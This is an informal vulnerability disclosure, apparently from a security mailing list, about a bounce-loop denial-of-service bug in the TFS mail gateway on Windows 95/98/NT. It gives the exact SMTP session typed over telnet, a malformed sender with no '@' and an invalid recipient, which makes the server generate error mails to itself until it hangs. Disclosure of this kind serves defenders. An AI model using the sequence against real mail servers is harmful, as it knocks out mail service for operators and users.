Subject: I found this today and iam reporting it to you first!!!
Target: TFS mail system 4 (i think its working on earlier version aswell) (TFS just
got some award about there security about emails)
Company makes the product: www.tenfour.se
OS: win95 98 nt
Reported by: FableMan Noxidus a member of #HACK on IRCNet
a DoS routine: Makes a FAST loop generating loooots of emails until its forced to
stop by admin.
what i did is: TELNET TARGETSYSTEMRUNNING.TFS.MAIL.GATE.XXX 25
typing HELO
typing MAIL FROM:FABLEMAN NOXIDUS
RCPT TO:FIXYOUR [EMAIL PROTECTED]
DATA
Fix you system
Error found by FableMan Noxidus a #HACK member of IRCNet
.
QUIT
Thats all now the system tries to send to FIXYOUR
[EMAIL PROTECTED]
but that address is wrong soo then it generates a reporterror and mails to FABLEMAN
NOXIDUS but cos i havent included a @ then i will not go out on internet
then the loops starts.. its generating a reporterror and the loop is a truh..
I found it when i was playing around with a TFS mail gate system..
The speed of error report generation is about 1 or more email /sec soo if you start
the loop and after 1 hr its a loot of email generated...
until windows or NT hangs cos of it
